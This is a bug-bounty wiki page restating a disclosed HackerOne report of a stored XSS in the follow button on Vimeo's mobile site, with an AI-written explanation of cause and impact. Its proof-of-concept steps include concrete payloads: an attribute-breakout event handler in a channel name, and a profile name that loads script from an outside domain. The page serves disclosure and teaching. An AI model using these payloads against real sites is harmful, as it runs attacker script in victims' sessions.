XSS on mobile version of vimeo.com where the button "Follow" appears
The mobile version of Vimeo built its '+ Follow' button without escaping the channel or user name, so a name containing HTML markup was inserted into the page. An attacker could store markup in a channel name or profile name and have it run script in the browser of anyone who viewed the page or tapped the follow button.
Originally disclosed on HackerOne
- Triaged in 24 days
- Fixed in 24 days
- Disclosed after 24 months
Description
In the mobile version of https://vimeo.com, you will see + Follow buttons in places like the description of a channel, the description of a video, the profile of a user, the list of users you follow and the list of users that other users follow.
The problem is that the code that builds the button doesn't escape the Name of the channel or user. This allows to insert HTML code, even in the channel Name because the value is inserted as attribute of a <button> element.
Proof of concept
Channel page. Requires user interaction:
1. Using the desktop web version of Vimeo, go to https://vimeo.com/[your_vimeo_url]/channels (like https://vimeo.com/user36690798/channels).
2. Click on + Create new channel at the right of the page.
3. Enter " ontouchstart="alert(document.domain) for Channel Name.
4. Click on Create This Channel.
5. Copy & save the URL of the new Channel.
6. Using the mobile web version of Vimeo and other user, go to the URL you saved in the last step (like https://vimeo.com/channels/963609).
7. Touch on + Follow.
8. alert(document.domain) is executed.
I have a Channel with the XSS here https://vimeo.com/channels/962193.
Profile page. Doesn't require user interaction:
1. Using the web version of Vimeo, go to https://vimeo.com/settings.
2. Copy & save your Vimeo URL.
3. Change your Name to "><script src=//u00f1.xyz>.
4. Click on Save Changes.
5. Using the mobile web version of Vimeo and other user, go to the URL you saved in step 2.
6. alert(document.domain) is executed.
I have a profile with the XSS here https://vimeo.com/user36690798.
I think that the bug is in the code that builds the + Follow button, because the same vulnerability is in the other places I mentioned in the Description.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the follow-button template inserted the channel or user name into an HTML attribute and element body without output encoding, so markup in the name was parsed as HTML.
Impact
An attacker could run script in the browser of any mobile user who viewed the crafted channel or profile, and on the channel page this required the victim to tap follow, while on the profile page it fired without interaction.
What the attacker needed
A Vimeo account; victim views the page on mobile web; channel page needs a follow tap
How it was found
- Create a new channel on the desktop site and set its name to markup that breaks out of the button attribute.
- Save the new channel and note its URL.
- As another user on the mobile site, open that channel URL.
- Tap the follow button, which runs the injected script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website shows text that a user typed, it must treat that text as plain text, not as code. Here the site pasted the name straight into the page's HTML, so a name that looked like code was run by the browser. That let an attacker run their own script in other people's sessions on the mobile site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.